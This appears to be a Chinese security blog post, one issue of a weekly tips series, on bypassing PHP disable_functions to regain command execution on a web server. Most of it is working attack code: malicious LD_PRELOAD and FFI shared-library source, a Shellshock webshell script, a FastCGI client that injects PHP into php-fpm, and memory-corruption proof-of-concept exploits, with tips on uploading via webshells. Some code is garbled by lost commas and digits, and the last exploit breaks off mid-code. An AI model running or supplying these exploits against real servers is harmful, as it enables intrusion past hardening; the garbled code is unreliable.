【表哥有话说 第77期】bypass disable_functions

admin 2022年7月24日23:21:38评论12 views字数 38927阅读129分45秒阅读模式



这周的知识分享又和大家见面了


激动的心颤抖的手


【表哥有话说 第77期】bypass disable_functions


表哥们这次又带来了什么知识呢


赶紧来看看吧


向下划👇👇👇


解锁知识!!!!!

黑名单bypass


命令执行函数

/*
system函数:
功能:执行外部程序,并且显示输出
返回值:成功则返回命令输出的最后一行,失败则返回 FALSE
*/

system("ls");
/*
shell_exec函数:
功能:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
返回值:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。(当进程执行过程中发生错误,或者进程不产生输出的情况下,都会返回 NULL,所以,使用本函数无法通过返回值检测进程是否成功执行。 如果需要检查进程执行的退出码,请使用 exec() 函数。)
*/

echo shell_exec("ls");
echo `ls`;
/*
exec函数:
功能:执行一个外部程序
返回值:命令执行结果的最后一行内容。想要获取命令的输出内容,请确保使用output参数。 
*/

//exec(string $command [,array &$output [,int &$return_var ]])
exec("ls",$output);print_r($output);
/*
passthru函数:
功能:执行外部程序并且显示原始输出
返回值:没有返回值。
当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system()函数
*/

passthru("ls");
/*
popen函数:
功能:打开进程文件指针
返回值:返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。当模式为 'r',返回的文件指针等于命令的STDOUT,当模式为 'w',返回的文件指针等于命令的 STDIN。
如果出错返回 FALSE。
*/

$f = @popen("ls","r");
$res = "";
while(!@feof($f)){
    $res .= @fread($f,1024);
}
@pclose($f);
/*proc_open函数:
功能:执行一个命令,并且打开用来输入/输出的文件指针。
返回值:返回表示进程的资源类型,当使用完毕之后,请调用proc_close()函数来关闭此资源。如果失败,返回FALSE。
*/

 $descriptorspec = array(
            0 => array("pipe""r"),
            1 => array("pipe""w"),
            2 => array("pipe""w")
 );
$process = proc_open("ls", $descriptorspec, $pipes, nullnull);
fwrite($pipes[0], '$stdin');
fclose($pipes[0]);
$res = stream_get_contents($pipes[1]);
/*pcntl_exec函数:
功能:在当前进程空间执行指定程序
返回值:当发生错误时返回FALSE ,没有错误时没有返回。
pcntl_exec(string $path [, array $args [, array $envs ]] )
$path:可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)
$args:程序的参数的字符串数组。
$envs:作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。
*/

//$cmdfile为存放命令的文件地址
//$outfile为命令结果文件地址
$cmd_arr = array($cmdfile, $outfile);
pcntl_exec("/bin/bash"array($cmd_arr[0]));
readfile($cmd_arr[1]);
/*dl函数:
功能:运行时载入一个 PHP 扩展
返回值:成功时返回 TRUE, 或者在失败时返回 FALSE。 如果加载模块的功能是无效或者禁用的(既可以通过设置关闭 enable_dl 设置,也可以通过启用 php.ini 里的 安全模式)将导致一个 E_ERROR 并中断执行。 如果因为指定的库无法加载而导致 dl() 失败,除了返回 FALSE,还会产生一个 E_WARNING 的消息。
*/

默认加载php.ini里extension_dir的文件夹里,但是可以利用../带出来
enable_dl=On方可能用
上传恶意php扩展文件,并且用dl函数加载这个文件,然后利用里面的函数执行其他操作,包括系统命令。
dl()

.htaccess调用cgi

前提

  • apache开启cgi_module
  • AllowOverride
  • .htaccess文件可写

1.上传.htaccess文件

Options +ExecCGI
AddHandler cgi-script .sh

2.上传exp.sh文件

#!/bin/bash
echo&ls

3.访问即可

LD_PRELOAD

LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。

利用LD_RELOAD进行bypass的思路是:将LD_PRELOAD指向恶意.so文件,从而挟持正常函数。


绕过前提:

  • 能够上传自己的so文件
  • 能够控制环境变量的值(如php函数:putenv)
  • 存在可以控制php启动外部程序的函数并能执行(如:mail(),imap_mail(),mb_send_mail()和error_log()等)

当执行未被禁止的PHP函数,并且该函数调用了恶意库中重写的系统函数,就可以达到任意执行系统命令的效果了,因为重写的系统函数中的内容是我们可控的,对这部分内容进行编程即可。

PHP中某些函数比如mail()函数调用时,就会调用系统中的sendmail函数,由于LD_PRELOAD中指定加载了恶意的.so文件中覆盖了sendmail函数,所以就会执行重写的sendmail函数中的恶意代码,从而绕过disable_functions,达到任意执行系统命令的效果。

1.生成恶意.so文件

  • 覆盖正常函数:

以mail函数为例:

strace -f php -r "mail('','','','');" 2>&1 | grep -E "execve|fork|vfork"

查看mail函数有无执行程序或启动新进程。

发现启动了sendmail,然后用readelf -Ws查看sendmail程序的系统函数调用情况。

这里选取getgid。

man 2 getgid

查看getgid系统函数需要什么头文件和格式,从写出相应的伪造代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getgid() {
  unsetenv("LD_PRELOAD");
  system(getenv("cmd"));
}
gcc --share -fPIC 1.c -o bad.so

从而生成恶意.so文件

  • 或利用constructor(个人更推荐):

这样只需找到能启动新程序的php函数即可。

/*GNU C的一大特色就是__attribute__机制,可以设置函数属性(Attribute),变量属性(Variable Attribute)和类型属性(Type Attribute).*/
/*__attribute__((attribute-list))
当参数为constructor时,就可以在加载共享库时运行。
当参数为destructor时,会在main()函数执行之后,或exit()函数调用后自动执行。
*/

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__((__constructor__)) void zxhy (void)
{
 
    for(int i = 0;environ[i];i ++) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '';
            }
    }

    system(getenv("cmd"));
}
/*
php运行中只要有新程序启动就可执行
*/

生成动态链接库文件如上

2.上传恶意.so文件

  • 连上蚁剑或者菜刀直接上传
  • 利用原来存在的shell上传点去上传
  • 或写进去一个新的上传点

3.写入php利用脚本

<?php
putenv("cmd=ls > 1.txt");
putenv("LD_PRELOAD=./bad.so");
mail('','','','');//函数可换
//error_log('',1);
//mb_send_mail函数php-mbstring模块
//imap_mail函数php-imap模块
//libvirt_connect函数php-libvirt-php模块
//gnupg_init函数php-gnupg模块

4.访问php利用脚本

访问php脚本运行后,可通过访问1.txt来获取执行命令的结果

ShellShock(CVE-2014-6271)

前提:

  • 允许用户定义环境变量
  • 服务会调用bash(创建bash子进程)
  • 服务调用子bash时加载了用户定义的环境变量

bash 4.3及以前会将以"(){"开头的环境变量解析为函数,解析后bash不会退出,会继续执行.故而可构造payload达到命令执行.

所以可以利用php的putenv函数

putenv("PHP_XXX=() { x; }; ls > 1.txt ");
mb_send_mail('','','');

访问1.txt即可得到ls的内容

exploit-db上的脚本:

# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."n"?>
<?php
function shellshock($cmd) // Execute a command via CVE-2014-6271 @ mail.c:283
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
     // PHP will let the user modify ANY environment variable!
     mail("[email protected]","","","","-bv"); // -bv so we don't actually send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != ""return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

php-fpm

fsockopen与pfsockopen函数功能一样

利用灵活,应用范围广

配置文件地址(可查fpm端口):

/usr/local/etc/php-fpm.d/www.conf

查看phpinfo,Server API为FPM/FastCGI

跑p神的脚本或用蚁剑的插件。本质是通过fastcgi协议直接与php-fpm交流。

usage: fpm.py [-c CODE] [-p PORT] host file
import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8''strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8''strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) 
               + bchr(fcgi_type) 
               + bchr((requestid >> 8) & 0xFF
               + bchr(requestid & 0xFF
               + bchr((length >> 8) & 0xFF
               + bchr(length & 0xFF
               + bchr(0
               + bchr(0
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80
                      + bchr((nLen >> 16) & 0xFF
                      + bchr((nLen >> 8) & 0xFF
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80
                      + bchr((vLen >> 16) & 0xFF
                      + bchr((vLen >> 8) & 0xFF
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) 
                                 + bchr(self.keepalive) 
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT 
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c''--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p''--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 30)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE''FastCGI/1.0',
        'REQUEST_METHOD''POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),#important
        'SCRIPT_NAME': uri,
        'QUERY_STRING''',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE''php/fcgiclient',
        'REMOTE_ADDR''127.0.0.1',
        'REMOTE_PORT''9985',
        'SERVER_ADDR''127.0.0.1',
        'SERVER_PORT''80',
        'SERVER_NAME'"localhost",
        'SERVER_PROTOCOL''HTTP/1.1',
        'CONTENT_TYPE''application/text',
        'CONTENT_LENGTH'"%d" % len(content),
        'PHP_VALUE''auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE''allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

FFI

方法非常灵活,可以看一下手册

https://www.php.net/manual/en/class.ffi.php

<?php

$ffi = FFI::cdef(
    "int system(const char *command);",
    "libc.so.6");

$ffi->system("id");

?>

或者

<?php
$ffi = FFI::cdef(
        "int system(const char *command);",
        "/var/www/html/bad.so");
?>

bad.so源代码可以写

#include <stdlib.h>
__attribute__((constructor)) void xxx(){
    system("ls");
}

phpbug

根据实际情况可以微调代码

关注最新bug

procfts-bypass

backtrace-bypass:7.0-7.4

gc-bypass:7.0-7.3

json-bypass:7.1-7.3

procfs_bypass

<?php

/*

$libc_ver:

beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386                    /lib/x86_64-linux-gnu/libc-2.19.so

$open_php:

beched@linuxoid ~ $ objdump -R /usr/bin/php | grep 'sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT  open

$system_offset and $open_offset:

beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "s(system|open)@@"
  1337: 0000000000046530    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
  1679: 00000000000ec150    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5

*/


function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}

function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}

function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x288));
    $e_shentsize = unp(substr($bin, 0x3a2));
    $e_shnum = unp(substr($bin, 0x3c2));
    $e_shstrndx = unp(substr($bin, 0x3e2));

    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 44));
        if($sh_type == 11) { // SHT_DYNSYM
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 248));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 328));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 568));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 248));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 328));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 248));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 328));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 568));
        }
    }

    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 88)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "") {
                $name .= $bin[$j];
            }
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 88));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 88));
            }
        }
        return array($system_offset, $open_offset);
    }
}

echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)n";
if(strpos(php_uname('a'), 'x86_64') === false) {
    echo "[-] This exploit is for x64 Linux. Exitingn";
    exit;
}
if(substr(php_uname('r'), 04) < 2.98) {
    echo "[-] Too old kernel (< 2.98). Might not workn";
}
echo "[*] Trying to get open@plt offset in PHP binaryn";
$open_php = parseelf('/proc/self/exe'true);
if($open_php == 0) {
    echo "[-] Failed. Exitingn";
    exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#s+(/.+libc-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]n";
$pie_base = hexdec(explode('-', $maps)[0]);
echo '[*] PIE base: 0x' . dechex($pie_base) . "n";
echo "[*] Trying to get open and system symbols from Libcn";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
    echo "[-] Failed. Exitingn";
    exit;
}
echo "[+] Got them. Seeking for address in memoryn";
$mem = fopen('/proc/self/mem''rb');
fseek($mem, $pie_base + $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "n";
echo "[*] Rewriting open@plt addressn";
$mem = fopen('/proc/self/mem''wb');
fseek($mem, $pie_base + $open_php);
if(fwrite($mem, packlli($system_addr))) {
    echo "[+] Address written. Executing cmdn";
    readfile('/usr/bin/id');
    exit;
}
echo "[-] Write failed. Exitingn";

backtrace

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x102);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x362);
        $e_phnum = leak($base, 0x382);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 04);
            $p_flags = leak($header, 44);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 07);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 06);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A'79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10# increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A'79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x602);
    write($abc, 0x706);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x180xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x3814); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

gc

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x102);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x362);
        $e_phnum = leak($base, 0x382);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 04);
            $p_flags = leak($header, 44);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 07);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 06);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        
{
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10# increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A'79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(079);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
